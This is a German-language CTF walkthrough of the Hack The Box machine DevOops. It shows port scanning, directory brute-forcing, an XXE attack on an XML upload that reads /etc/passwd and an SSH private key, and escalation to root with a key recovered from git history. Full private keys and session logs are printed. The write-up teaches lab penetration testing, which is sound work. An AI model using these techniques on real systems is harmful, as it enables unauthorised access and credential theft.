Gamified Security mit hackthebox.eu: DevOops

Keine Kommentare

Heute werden wir lernen, wie wir uns in die DevOops-Maschine auf hackthebox hacken können. Wenn du mehr über hackthebox erfahren willst, sieh dir den ersten Post in dieser Serie an.

HTB rating

DevOops: Vorbereitung

Als einen ersten Schritt fügen wir

    10.10.10.91    devoops.htb

in unsere /etc/hosts Datei ein. So ist es möglich, die Maschine mit dem Namen devoops.htb anzusprechen.

Enumerierung und Fingerprinting

nmap

Nmap (Network Mapper) ist ein freier und quelloffener Netzwerkscanner, der von Gordon Lyon (auch bekannt unter seinem Pseudonym Fyodor Vaskovich) entwickelt wurde. Nmap wird verwendet, um Hosts und Dienste in einem Computernetzwerk zu entdecken, indem Pakete gesendet und die Antworten analysiert werden.

Nmap bietet eine Reihe von Funktionen zur Untersuchung von Computernetzwerken, einschließlich der Erkennung von Hosts und Diensten und von Betriebssystemen. Diese Funktionen sind durch Skripte erweiterbar, die eine fortgeschrittenere Diensterkennung, die Erkennung von Schwachstellen und andere Funktionen bieten.

wikipedia:nmap

Zu Beginn der Aufklärungsphase beginnen wir in der Regel damit, den Host nach offenen Ports, Server-Headern und Versionen zu scannen. nmap ist wahrscheinlich eines der ausgeklügeltsten Werkzeuge in dieser Hinsicht. Neben den genannten Funktionen bietet es solche, um die Art des Scans zu optimieren, um der Erkennung zu entgehen. Es wird mit einer großen Anzahl von Standard-Skripten geliefert, mit denen erkannte Dienste weiter auf bekannte Schwachstellen untersucht werden können. Außerdem können auch eigenen Skripte erstellt werden, um den Funktionsumfang zu erweitern.

Nmap allein könnte eine ganze Reihe von Blog-Einträgen füllen. Aber für unsere Write-Ups werden wir uns auf die Grundlagen beschränken.

    
-sS  TCP SYN scans
    -sC  Standard-Skripte ausführen
    -sV  Probe offene Ports zur Ermittlung von Service-/Versionsinformationen
    -A   Aktivieren Sie die Erkennung des Betriebssystems, die Versionserkennung, das Scannen von Skripten und das Traceroute
    -p-  Alle TCP-Ports scannen
    -oN  Ausgabescan im normalen nmap-Format

Mit diesen Parametern starten wir unseren Scan

 kali@kali:~/htb/machines/devoops$ sudo nmap -sS -sC -sV -A -p- -oN tcp.nmap devoops.htb
    [sudo] password for kali:                                                                                                                                                                                                           
    Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-19 04:46 EDT                                                                                                                                                                     
    Nmap scan report for devoops.htb (10.10.10.91)                                                                                                                                                                                      
    Host is up (0.035s latency).                                                                                                                                                                                                        
    Not shown: 65533 closed ports                                                                                                                                                                                                       
    PORT     STATE SERVICE VERSION                                                                                                                                                                                                      
    22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)                                                                                                                                                 
    | ssh-hostkey:                                                                                                                                                                                                                      
    |   2048 42:90:e3:35:31:8d:8b:86:17:2a:fb:38:90:da:c4:95 (RSA)                                                                                                                                                                      
    |   256 b7:b6:dc:c4:4c:87:9b:75:2a:00:89:83:ed:b2:80:31 (ECDSA)                                                                                                                                                                     
    |_  256 d5:2f:19:53:b2:8e:3a:4b:b3:dd:3c:1f:c0:37:0d:00 (ED25519)                                                                                                                                                                   
    5000/tcp open  http    Gunicorn 19.7.1                                                                                                                                                                                              
    |_http-server-header: gunicorn/19.7.1                                                                                                                                                                                               
    |_http-title: Site doesn't have a title (text/html; charset=utf-8).                                                                                                                                                                 
    No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).                                                                                                                                 
    TCP/IP fingerprint:                                                                                                                                                                                                                 
    OS:SCAN(V=7.80%E=4%D=3/19%OT=22%CT=1%CU=32261%PV=Y%DS=2%DC=T%G=Y%TM=5E7331B                                                                                                                                                         
    OS:1%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10C%TI=Z%CI=I%II=I%TS=A)OPS                                                                                                                                                         
    OS:(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST1                                                                                                                                                         
    OS:1NW7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN                                                                                                                                                         
    OS:(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A                                                                                                                                                         
    OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R                                                                                                                                                         
    OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F                                                                                                                                                         
    OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%                                                                                                                                                         
    OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD                                                                                                                                                         
    OS:=S)                                                                                                                                                                                                                              
                                                                                                                                                                                                                                        
    Network Distance: 2 hops                                                                                                                                                                                                            
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel                                                                                                                                                                             
                                                                                                                                                                                                                                        
    TRACEROUTE (using port 5900/tcp)                                                                                                                                                                                                    
    HOP RTT      ADDRESS                                                                                                                                                                                                                
    1   39.33 ms 10.10.14.1                                                                                                                                                                                                             
    2   39.47 ms devoops.htb (10.10.10.91)                                                                                                                                                                                              
                                                                                                                                                                                                                                        
    OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .                                                                                                                               
    Nmap done: 1 IP address (1 host up) scanned in 62.68 seconds                                                                                                                                                                        
    kali@kali:~/htb/machines/devoops$

Im Konsolenprotokoll oben können wir zwei offene Ports sehen: 22, auf dem ssh läuft, und 5000, auf dem ein http-Server läuft.

5000: Gunicorn 19.7.1

Wenn wir einen Blick auf Port 5000 werfen, sehen wir eine Webseite.

Website auf Port 5000

Es scheint, dass dies ein MVP für eine Blogfeeder-Anwendung ist. Und anscheinend wird Python genutzt um den Feed zu füllen.

Die Suche nach gunicorn gibt Aufschluss über die potenzielle Angriffsfläche dieser Anwendung.

Gunicorn ‚Green Unicorn‘ ist ein Python-WSGI-HTTP-Server für UNIX. Es ist ein Pre-Fork-Worker-Modell. Der Gunicorn-Server ist weitgehend kompatibel mit verschiedenen Web-Frameworks, einfach implementiert, mit geringen Server-Ressourcen und ziemlich schnell.

Quelle

Bei der Suche nach CVEs ist leider im Moment nicht so viel zu holen: CVEs für gunicorn

Mal sehen, was wir noch über diese Webanwendung aufzählen können.

gobuster

Gobuster ist ein Tool zum Brute-forcen:
URIs (Verzeichnisse und Dateien) auf Websiten.
DNS subdomains (mit Wildcard-Unterstützung).
Virtuelle Hostnamen auf Ziel-Webservern.

gobuster on Github

Mit Werkzeugen wie gobuster(Alternativen sind dirb, dirbuster oder jeder Fuzzer wie wfuzz, ffuf, patator, der http-Anfragen ausführen kann) können wir vordefinierte Wortlisten verwenden, um nach Dateien, Verzeichnissen oder vhosts auf unserer Ziel-Website zu suchen.

In diesem Fall wollten wir mit den folgenden Parametern gobustern:

    -u   Ziel-URL
    -w   Wortliste für den Scan zu verwenden
    -o   Ausgabedatei

Die Wortliste, die wir hier verwenden, ist Teil des (fantastischen) SecLists-Repositories, das hunderte von Wortlisten sammelt und aktualisiert. Penetrationstester können diese bei Engagements und (natürlich) beim Abspielen von CTFs wie hackthebox verwenden.

    
kali@kali:~/htb/machines/devoops$ gobuster dir -u http://devoops.htb:5000 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -o big.gobuster.out
    ===============================================================
    Gobuster v3.0.1                                                                                                                                                                                                                     
    by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)                                                                                                                                                                     
    ===============================================================                                                                                                                                                                     
    [+] Url:            http://devoops.htb:5000                                                                                                                                                                                         
    [+] Threads:        10                                                                                                                                                                                                              
    [+] Wordlist:       /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt                                                                                                                                                     
    [+] Status codes:   200,204,301,302,307,401,403                                                                                                                                                                                     
    [+] User Agent:     gobuster/3.0.1                                                                                                                                                                                                  
    [+] Timeout:        10s                                                                                                                                                                                                             
    ===============================================================                                                                                                                                                                     
    2020/03/19 06:16:50 Starting gobuster                                                                                                                                                                                               
    ===============================================================                                                                                                                                                                     
    /feed (Status: 200)
    /upload (Status: 200)
    ===============================================================
    2020/03/19 06:19:34 Finished                                                                                                                                                                                                        
    ===============================================================

Hier haben wir also die feed und die upload url!

Das /feed zeigt das Bild des Platzhalters, das beim Betreten der Seite auf devoops.htb:5000 zu sehen ist.

feed

Dann sehen wir mal, was es unter /upload so gibt.

upload seite

Das sieht aber interessant aus! Mal sehen, was wir da hochladen können.

    
kali@kali:~/htb/machines/devoops$ cat test.xml
    test

Das führt zu einem Internal Server Error. Aber zum Glück hat uns der Autor der API einige Dokumentationen hinterlassen:

XML Elements: Author, Subject, Content

Also erstellen wir eine neue Datei zum Hochladen.

erste XML datei

Nach dem Upload wird es verarbeitet:

verarbeitete xml datei

So erhalten wir bereits mehr Informationen über unser Ziel:
/uploads/ ist der Ordner, in dem unsere Dateien erreichbar sind.
– Die Benutzerin, die diesen gunicorn Server ausführt, ist roosa, weil uns ihr Home-Verzeichnis angezeigt wird.

Foothold

Mit all dem, was wir gesammelt haben, sollten wir in der Lage sein, auf diesem Server Fuß zu fassen. Ein Blick auf die OWASP Top 10 zeigt, dass es eine häufige Schwachstelle in Anwendungen gibt, die XML-Eingabe parsen.

Dieser Angriff tritt auf, wenn eine XML-Eingabe, die eine Referenz auf eine externe Entität enthält, von einem schwach konfigurierten XML-Parser verarbeitet wird. Dieser Angriff kann zur Offenlegung von vertraulichen Daten, Denial-of-Service, serverseitigen Anforderungsfälschungen, Port-Scanning aus der Perspektive des Rechners, auf dem sich der Parser befindet, und anderen Systemauswirkungen führen.
[…]
Angriffe können die Offenlegung lokaler Dateien umfassen, die sensible Daten wie Passwörter oder private Benutzerdaten enthalten können

.

Diese Art von Angriff wird XML External Entity Attack – oder XXE genannt. Mal sehen, ob wir unsere hochgeladene Datei anpassen können, um das auszunutzen.

Anpassen der Payload

Dazu wechseln wir zu BurpSuite, einem häufig verwendeten Werkzeug zum Abfangen und Manipulieren des Datenverkehrs zwischen dem Browser des Angreifers und dem angegriffenen Rechner.

Damit können wir unsere zuvor gesendeten Anfragen wiederholen, die Antworten empfangen und die Payload Stück für Stück ändern, ohne eine Datei lokal zu bearbeiten, zu speichern und mit dem Browser hochzuladen.

Passen wir also unsere Payload an ein gültiges XML-Dokument mit einer korrekten Definition für eine externe Entität an:

xxe-1

Auch da wird verarbeitet – aber wir sehen das Element pwn nicht… Wahrscheinlich, weil die API nur die dokumentierten Felder verarbeitet – also müssen wir unsere Payload nochmals anpassen:

xxe 2

Und da ist der dump von /etc/passwd.

    PROCESSED BLOGPOST: 
      Author: alice
     Subject: subject pwn
     Content: root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
    irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
    nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
    systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
    systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
    systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
    systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
    syslog:x:104:108::/home/syslog:/bin/false
    _apt:x:105:65534::/nonexistent:/bin/false
    messagebus:x:106:110::/var/run/dbus:/bin/false
    uuidd:x:107:111::/run/uuidd:/bin/false
    lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false
    whoopsie:x:109:117::/nonexistent:/bin/false
    avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
    avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
    dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/bin/false
    colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false
    speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
    hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
    kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
    pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false
    rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false
    saned:x:119:127::/var/lib/saned:/bin/false
    usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false
    osboxes:x:1000:1000:osboxes.org,,,:/home/osboxes:/bin/false
    git:x:1001:1001:git,,,:/home/git:/bin/bash
    roosa:x:1002:1002:,,,:/home/roosa:/bin/bash
    sshd:x:121:65534::/var/run/sshd:/usr/sbin/nologin
    blogfeed:x:1003:1003:,,,:/home/blogfeed:/bin/false
    
     URL for later reference: /uploads/payload.xml
     File path: /home/roosa/deploy/src

Damit haben wir einen laufenden Proof of Concept.

Wenn wir uns jetzt den initialen nmap Scan noch einmal in Erinnerung rufen, sehen wir, dass der SSH Port auf der Maschine offen ist. Testen wir, ob roosa einen ssh private key in /home/roosa/.ssh/id_rsa gespeichert hat. Die Payload dafür sieht folgendermaßen aus:

xxe-ssh key

Und so sieht die Antwort aus:

    PROCESSED BLOGPOST: 
      Author: alice
     Subject: subject pwn
     Content: -----BEGIN RSA PRIVATE KEY-----
    MIIEogIBAAKCAQEAuMMt4qh/ib86xJBLmzePl6/5ZRNJkUj/Xuv1+d6nccTffb/7
    9sIXha2h4a4fp18F53jdx3PqEO7HAXlszAlBvGdg63i+LxWmu8p5BrTmEPl+cQ4J
    R/R+exNggHuqsp8rrcHq96lbXtORy8SOliUjfspPsWfY7JbktKyaQK0JunR25jVk
    v5YhGVeyaTNmSNPTlpZCVGVAp1RotWdc/0ex7qznq45wLb2tZFGE0xmYTeXgoaX4
    9QIQQnoi6DP3+7ErQSd6QGTq5mCvszpnTUsmwFj5JRdhjGszt0zBGllsVn99O90K
    m3pN8SN1yWCTal6FLUiuxXg99YSV0tEl0rfSUwIDAQABAoIBAB6rj69jZyB3lQrS
    JSrT80sr1At6QykR5ApewwtCcatKEgtu1iWlHIB9TTUIUYrYFEPTZYVZcY50BKbz
    ACNyme3rf0Q3W+K3BmF//80kNFi3Ac1EljfSlzhZBBjv7msOTxLd8OJBw8AfAMHB
    lCXKbnT6onYBlhnYBokTadu4nbfMm0ddJo5y32NaskFTAdAG882WkK5V5iszsE/3
    koarlmzP1M0KPyaVrID3vgAvuJo3P6ynOoXlmn/oncZZdtwmhEjC23XALItW+lh7
    e7ZKcMoH4J2W8OsbRXVF9YLSZz/AgHFI5XWp7V0Fyh2hp7UMe4dY0e1WKQn0wRKe
    8oa9wQkCgYEA2tpna+vm3yIwu4ee12x2GhU7lsw58dcXXfn3pGLW7vQr5XcSVoqJ
    Lk6u5T6VpcQTBCuM9+voiWDX0FUWE97obj8TYwL2vu2wk3ZJn00U83YQ4p9+tno6
    NipeFs5ggIBQDU1k1nrBY10TpuyDgZL+2vxpfz1SdaHgHFgZDWjaEtUCgYEA2B93
    hNNeXCaXAeS6NJHAxeTKOhapqRoJbNHjZAhsmCRENk6UhXyYCGxX40g7i7T15vt0
    ESzdXu+uAG0/s3VNEdU5VggLu3RzpD1ePt03eBvimsgnciWlw6xuZlG3UEQJW8sk
    A3+XsGjUpXv9TMt8XBf3muESRBmeVQUnp7RiVIcCgYBo9BZm7hGg7l+af1aQjuYw
    agBSuAwNy43cNpUpU3Ep1RT8DVdRA0z4VSmQrKvNfDN2a4BGIO86eqPkt/lHfD3R
    KRSeBfzY4VotzatO5wNmIjfExqJY1lL2SOkoXL5wwZgiWPxD00jM4wUapxAF4r2v
    vR7Gs1zJJuE4FpOlF6SFJQKBgHbHBHa5e9iFVOSzgiq2GA4qqYG3RtMq/hcSWzh0
    8MnE1MBL+5BJY3ztnnfJEQC9GZAyjh2KXLd6XlTZtfK4+vxcBUDk9x206IFRQOSn
    y351RNrwOc2gJzQdJieRrX+thL8wK8DIdON9GbFBLXrxMo2ilnBGVjWbJstvI9Yl
    aw0tAoGAGkndihmC5PayKdR1PYhdlVIsfEaDIgemK3/XxvnaUUcuWi2RhX3AlowG
    xgQt1LOdApYoosALYta1JPen+65V02Fy5NgtoijLzvmNSz+rpRHGK6E8u3ihmmaq
    82W3d4vCUPkKnrgG8F7s3GL6cqWcbZBd0j9u88fUWfPxfRaQU3s=
    -----END RSA PRIVATE KEY-----
    
     URL for later reference: /uploads/payloaded.xml
     File path: /home/roosa/deploy/src

Bingo! Wir haben soeben unsere erste Sicherheitslücke ausgenutzt!

Damit sollten wir uns jetzt als roosa anmelden können. Zumindest sobald wir die Dateiberechtigungen angepasst haben – denn ein private key sollte auch private bleiben. Einzig der Nutzer dem der Key gehört, sollte in der Lage sein ihn zu lesen. SSH stellt auch sicher, dass das so ist.

    kali@kali:~/htb/machines/devoops$ ssh roosa@devoops.htb -i id_rsa 
    The authenticity of host 'devoops.htb (10.10.10.91)' can't be established.
    ECDSA key fingerprint is SHA256:hbD2D4PdnIVpAFHV8sSAbtM0IlTAIpYZ/nwspIdp4Vg.
    Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
    Warning: Permanently added 'devoops.htb,10.10.10.91' (ECDSA) to the list of known hosts.
    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
    @         WARNING: UNPROTECTED PRIVATE KEY FILE!          @
    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
    Permissions 0644 for 'id_rsa' are too open.
    It is required that your private key files are NOT accessible by others.
    This private key will be ignored.
    Load key "id_rsa": bad permissions

Das kann behoben werden mit einem

chmod 600 id_rsa

und dann können wir den Schlüssel als Identifikator verwenden, indem wir das -i-Flag mit ssh verwenden.

    kali@kali:~/htb/machines/devoops$ ssh roosa@devoops.htb -i id_rsa 
    Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.13.0-37-generic i686)
    
     * Documentation:  https://help.ubuntu.com
     * Management:     https://landscape.canonical.com
     * Support:        https://ubuntu.com/advantage
    
    135 packages can be updated.
    60 updates are security updates.
    
    
    The programs included with the Ubuntu system are free software;
    the exact distribution terms for each program are described in the
    individual files in /usr/share/doc/*/copyright.
    
    Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
    applicable law.
    
    roosa@gitter:~$ whoami
    roosa
    roosa@gitter:~$ ls -l user.txt
    -r-------- 1 roosa roosa   33 Mar 26  2018 user.txt

Jetzt können wir uns die erste flag holen: user.txt

Privilege Escalation

Aufklärung

Mal sehen, wo wir stehen und was uns das Home-Verzeichnis über unseren Benutzer roosa sagt:

    roosa@gitter:~$ ls -l
    total 68
    drwxrwxr-x 4 roosa roosa 4096 Mar 26  2018 deploy
    drwxr-xr-x 2 roosa roosa 4096 May 29  2018 Desktop
    drwxr-xr-x 2 roosa roosa 4096 Mar 21  2018 Documents
    drwxr-xr-x 2 roosa roosa 4096 Mar 21  2018 Downloads
    -rw-r--r-- 1 roosa roosa 8980 Mar 19  2018 examples.desktop
    drwxr-xr-x 2 roosa roosa 4096 Mar 21  2018 Music
    drwxr-xr-x 2 roosa roosa 4096 Mar 21  2018 Pictures
    drwxr-xr-x 2 roosa roosa 4096 Mar 21  2018 Public
    -rwxrw-r-- 1 roosa roosa  147 Mar 26  2018 run-blogfeed.sh
    -rw-rw-r-- 1 roosa roosa 1839 Mar 26  2018 service.sh
    -rw-rw-r-- 1 roosa roosa 2206 Mar 26  2018 service.sh~
    drwxr-xr-x 2 roosa roosa 4096 Mar 21  2018 Templates
    -r-------- 1 roosa roosa   33 Mar 26  2018 user.txt
    drwxr-xr-x 2 roosa roosa 4096 Mar 21  2018 Videos
    drwxrwxr-x 3 roosa roosa 4096 Mar 21  2018 work

Es gibt ein run-blogfeed.sh Skript, um den Gunicorn-Server zu starten, es gibt ein service.sh, das den Dienst, der den Blog-Feed betreibt, zu kontrollieren scheint – es sieht so aus, als hätten wir es mit eine*r Entwickler*in zu tun.

Schauen wir uns den Ordner work an.

Offenbar ist das Projekt blogfeed im Moment das Projekt Nummer eins. Sehen wir uns das mal an…

    roosa@gitter:~/work/blogfeed$ ls -lisa
    total 28
    4849719 4 drwxrwx--- 5 roosa roosa 4096 Mar 21  2018 .
    4849676 4 drwxrwxr-x 3 roosa roosa 4096 Mar 21  2018 ..
    4849720 4 drwxrwx--- 8 roosa roosa 4096 Mar 26  2018 .git
    4849743 4 -rw-rw---- 1 roosa roosa  104 Mar 19  2018 README.md
    4849765 4 drwxrwx--- 3 roosa roosa 4096 Mar 19  2018 resources
    4849791 4 -rwxrw-r-- 1 roosa roosa  180 Mar 21  2018 run-gunicorn.sh
    4849764 4 drwxrwx--- 2 roosa roosa 4096 Mar 26  2018 src

Und es ist ein GitRepository!

Wenn du mit Git nicht vertraut bist:

Git ist ein verteiltes Versionskontrollsystem zur Verfolgung von Änderungen im Quellcode während der Softwareentwicklung. Es ist für die Koordination der Arbeit unter den Programmierern gedacht, aber es kann dazu verwendet werden, Änderungen in jedem beliebigen Dateisatz zu verfolgen. Zu seinen Zielen gehören Geschwindigkeit, Datenintegrität und Unterstützung für verteilte, nicht-lineare Arbeitsabläufe.

Quelle: Wikipedia

Mal sehen, ob wir in dem Git-Log etwas Nützliches herausfinden können.

    roosa@gitter:~/work/blogfeed$ git log
    commit 7ff507d029021b0915235ff91e6a74ba33009c6d
    Author: Roosa Hakkerson <roosa@solita.fi>
    Date:   Mon Mar 26 06:13:55 2018 -0400
    
        Use Base64 for pickle feed loading
    
    commit 26ae6c8668995b2f09bf9e2809c36b156207bfa8
    Author: Roosa Hakkerson <roosa@solita.fi>
    Date:   Tue Mar 20 15:37:00 2018 -0400
    
        Set PIN to make debugging faster as it will no longer change every time the application code is changed. Remember to remove before production use.
    
    commit cec54d8cb6117fd7f164db142f0348a74d3e9a70
    Author: Roosa Hakkerson <roosa@solita.fi>
    Date:   Tue Mar 20 15:08:09 2018 -0400
    
        Debug support added to make development more agile.
    
    commit ca3e768f2434511e75bd5137593895bd38e1b1c2
    Author: Roosa Hakkerson <roosa@solita.fi>
    Date:   Tue Mar 20 08:38:21 2018 -0400
    
        Blogfeed app, initial version.
    
    commit dfebfdfd9146c98432d19e3f7d83cc5f3adbfe94
    Author: Roosa Hakkerson <roosa@solita.fi>
    Date:   Tue Mar 20 08:37:56 2018 -0400
    
        Gunicorn startup script
    
    commit 33e87c312c08735a02fa9c796021a4a3023129ad
    Author: Roosa Hakkerson <roosa@solita.fi>
    Date:   Mon Mar 19 09:33:06 2018 -0400
    
        reverted accidental commit with proper key
    
    commit d387abf63e05c9628a59195cec9311751bdb283f
    Author: Roosa Hakkerson <roosa@solita.fi>
    Date:   Mon Mar 19 09:32:03 2018 -0400
    
        add key for feed integration from tnerprise backend
    
    commit 1422e5a04d1b52a44e6dc81023420347e257ee5f
    Author: Roosa Hakkerson <roosa@solita.fi>
    Date:   Mon Mar 19 09:24:30 2018 -0400
    
        Initial commit
    roosa@gitter:~/work/blogfeed$

Ein Eintrag darin liest sich so, als ob wir auf der richtigen Spur wären!

commit 33e87c312c08735a02fa9c796021a4a3023129ad
Author: Roosa Hakkerson
Date: Mon Mar 19 09:33:06 2018 -0400

reverted accidental commit with proper key

Schauen wir uns an, was vor diesem commit passiert ist – wenn hier reverted wurde, sollte der commit davor immer noch den Schlüssel enthalten…

und

git diff d387abf63e05c9628a59195cec9311751bdb283f

liefert uns einen anderen privaten ssh-Schlüssel.

ssh key diff

Jetzt können wir diese Revision auschecken, zum privaten Schlüssel navigieren und versuchen, uns als root zu authentifizieren.

    roosa@gitter:~/work/blogfeed$ git checkout d387abf63e05c9628a59195cec9311751bdb283f
    Note: checking out 'd387abf63e05c9628a59195cec9311751bdb283f'.
    
    You are in 'detached HEAD' state. You can look around, make experimental
    changes and commit them, and you can discard any commits you make in this
    state without impacting any branches by performing another checkout.
    
    If you want to create a new branch to retain commits you create, you may
    do so (now or later) by using -b with the checkout command again. Example:
    
      git checkout -b 
    
    HEAD is now at d387abf... add key for feed integration from tnerprise backend
    roosa@gitter:~/work/blogfeed$ l
    README.md  resources/  src/
    roosa@gitter:~/work/blogfeed$ ls
    README.md  resources  src
    roosa@gitter:~/work/blogfeed$ cat resources/integration/authcredentials.key 
    -----BEGIN RSA PRIVATE KEY-----
    MIIEogIBAAKCAQEArDvzJ0k7T856dw2pnIrStl0GwoU/WFI+OPQcpOVj9DdSIEde
    8PDgpt/tBpY7a/xt3sP5rD7JEuvnpWRLteqKZ8hlCvt+4oP7DqWXoo/hfaUUyU5i
    vr+5Ui0nD+YBKyYuiN+4CB8jSQvwOG+LlA3IGAzVf56J0WP9FILH/NwYW2iovTRK
    nz1y2vdO3ug94XX8y0bbMR9Mtpj292wNrxmUSQ5glioqrSrwFfevWt/rEgIVmrb+
    CCjeERnxMwaZNFP0SYoiC5HweyXD6ZLgFO4uOVuImILGJyyQJ8u5BI2mc/SHSE0c
    F9DmYwbVqRcurk3yAS+jEbXgObupXkDHgIoMCwIDAQABAoIBAFaUuHIKVT+UK2oH
    uzjPbIdyEkDc3PAYP+E/jdqy2eFdofJKDocOf9BDhxKlmO968PxoBe25jjjt0AAL
    gCfN5I+xZGH19V4HPMCrK6PzskYII3/i4K7FEHMn8ZgDZpj7U69Iz2l9xa4lyzeD
    k2X0256DbRv/ZYaWPhX+fGw3dCMWkRs6MoBNVS4wAMmOCiFl3hzHlgIemLMm6QSy
    NnTtLPXwkS84KMfZGbnolAiZbHAqhe5cRfV2CVw2U8GaIS3fqV3ioD0qqQjIIPNM
    HSRik2J/7Y7OuBRQN+auzFKV7QeLFeROJsLhLaPhstY5QQReQr9oIuTAs9c+oCLa
    2fXe3kkCgYEA367aoOTisun9UJ7ObgNZTDPeaXajhWrZbxlSsOeOBp5CK/oLc0RB
    GLEKU6HtUuKFvlXdJ22S4/rQb0RiDcU/wOiDzmlCTQJrnLgqzBwNXp+MH6Av9WHG
    jwrjv/loHYF0vXUHHRVJmcXzsftZk2aJ29TXud5UMqHovyieb3mZ0pcCgYEAxR41
    IMq2dif3laGnQuYrjQVNFfvwDt1JD1mKNG8OppwTgcPbFO+R3+MqL7lvAhHjWKMw
    +XjmkQEZbnmwf1fKuIHW9uD9KxxHqgucNv9ySuMtVPp/QYtjn/ltojR16JNTKqiW
    7vSqlsZnT9jR2syvuhhVz4Ei9yA/VYZG2uiCpK0CgYA/UOhz+LYu/MsGoh0+yNXj
    Gx+O7NU2s9sedqWQi8sJFo0Wk63gD+b5TUvmBoT+HD7NdNKoEX0t6VZM2KeEzFvS
    iD6fE+5/i/rYHs2Gfz5NlY39ecN5ixbAcM2tDrUo/PcFlfXQhrERxRXJQKPHdJP7
    VRFHfKaKuof+bEoEtgATuwKBgC3Ce3bnWEBJuvIjmt6u7EFKj8CgwfPRbxp/INRX
    S8Flzil7vCo6C1U8ORjnJVwHpw12pPHlHTFgXfUFjvGhAdCfY7XgOSV+5SwWkec6
    md/EqUtm84/VugTzNH5JS234dYAbrx498jQaTvV8UgtHJSxAZftL8UAJXmqOR3ie
    LWXpAoGADMbq4aFzQuUPldxr3thx0KRz9LJUJfrpADAUbxo8zVvbwt4gM2vsXwcz
    oAvexd1JRMkbC7YOgrzZ9iOxHP+mg/LLENmHimcyKCqaY3XzqXqk9lOhA3ymOcLw
    LS4O7JPRqVmgZzUUnDiAVuUHWuHGGXpWpz9EGau6dIbQaUUSOEE=
    -----END RSA PRIVATE KEY-----
    
    roosa@gitter:~/work/blogfeed$
    roosa@gitter:~/work/blogfeed/resources/integration$ ssh -i authcredentials.key root@127.0.0.1
    Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.13.0-37-generic i686)
    
     * Documentation:  https://help.ubuntu.com
     * Management:     https://landscape.canonical.com
     * Support:        https://ubuntu.com/advantage
    
    135 packages can be updated.
    60 updates are security updates.
    
    Last login: Mon Mar 26 06:23:48 2018 from 192.168.57.1
    root@gitter:~# whoami
    root
    root@gitter:~#

Und damit sind wir fertig. Das Flag root.txt kann unter /root/root.txt ausgelesen werden, und die Box ist vollständig exploited. Es darf getanzt werden!

Klicken Sie auf den unteren Button, um den Inhalt von giphy.com zu laden.

Inhalt laden

via GIPHY

Was haben wir gelernt

